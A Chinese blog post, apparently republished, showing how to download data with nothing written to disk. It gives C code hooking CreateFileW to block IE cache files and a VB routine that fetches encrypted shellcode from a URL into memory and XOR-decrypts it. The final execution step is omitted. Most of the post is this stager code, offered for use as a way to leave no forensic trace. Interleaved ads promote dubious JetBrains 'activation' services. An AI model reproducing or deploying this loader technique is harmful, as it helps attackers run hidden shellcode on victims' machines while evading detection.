发布时间:2025-12-10 19:23:30 浏览次数:10
真正实现网络下载,文件不落地.解决XmlHttp对象、winnet.dll、URLDownloadToFile生成的ie缓存(Hook_CreateFileW阻止缓存生成)「建议收藏」解决XmlHttp对象、winnet.dll生成的ie缓存
最近遇到的一个需求是,要求从网络上下载数据,并且文件不落地,那就是需要把缓存处理下,阻止缓存生成。无论我们用XmlHttp对象、还是inter网络通信控件、下载文件的API函数URLDownloadToFile都是会自动生成缓存文件。
Hook_CreateFileW阻止缓存生成
//HOOK CreateFileWHANDLE WINAPI TimedCreateFileW(LPCWSTR lpFileName,DWORD dwDesiredAccess,DWORD dwShareMode,LPSECURITY_ATTRIBUTES lpSecurityAttributes,DWORD dwCreationDisposition,DWORD dwFlagsAndAttributes,HANDLE hTemplateFile){//C:\Users\Administrator\AppData\Local\Microsoft\Windows\Temporary //Internet Files\Content.IE5B59JOE\tem[1].txtHANDLE ret=NULL ; if (wcsstr(lpFileName,L"Temporary")) { OutputDebugStringW(lpFileName); wprintf(lpFileName,"%ws",L""); return ret; }ret = TrueCreateFileW(lpFileName, dwDesiredAccess, dwShareMode, lpSecurityAttributes, dwCreationDisposition, dwFlagsAndAttributes, hTemplateFile); return ret;} 是否还在为Ide开发工具频繁失效而烦恼,来吧关注以下公众号获取最新激活方式。亲测可用!
【正版授权,激活自己账号】:Jetbrains全家桶Ide使用,1年售后保障,每天仅需1毛
【官方授权 正版激活】:官方授权 正版激活 自己使用,支持Jetbrains家族下所有IDE…
以上这个路径就是XmlHttp对象所产生的,无论是用其他的下载方式还是别的下载方式,其实都是有缓存的。但是微软只给予了删除缓存的API函数,并没有阻止缓存生成的功能,而这里我们要求更高一点,不是删除缓存,而是直接阻止缓存生成。
下面是VB操作XmlHttp对象来下载文件,下载的数据保存到了一个内存数组上B。文件是不落地的。配合以上 API hook 钩子 就可以完美阻止缓存生成,真正实现文件不落地了。
'在内存中 解密启动 下载的shellcode,文件不落地Private Sub DecryptRun_DownloadShllCode(ByVal nUrl As String) On Error GoTo M: Dim XmlHttp, b() As Byte Set XmlHttp = CreateObject("Microsoft.XMLHTTP") XmlHttp.Open "GET", nUrl, False XmlHttp.SetRequestHeader "If-Modified-Since", "Thu, 01 Jan 1970 00:00:00 GMT" ' XmlHttp.SetRequestHeader "Cache-Control", "no-cache" ' '"Cache-Control","no-cache" XmlHttp.Send If XmlHttp.ReadyState = 4 Then b() = XmlHttp.ResponseBody '下载加密的shelcode文件以二进制字节模式保存到数组B()' Open nFile For Binary As #1' Put #1, , B()' Close #1 End If Dim slen As Long slen = UBound(b()) '获取数组长度,即 shellcode的长度 Dim i As Long For i = 0 To slen b(i) = b(i) Xor &H21 '解密 Next i '其他业务代码,暂时忽略 Set XmlHttp = NothingM:End Sub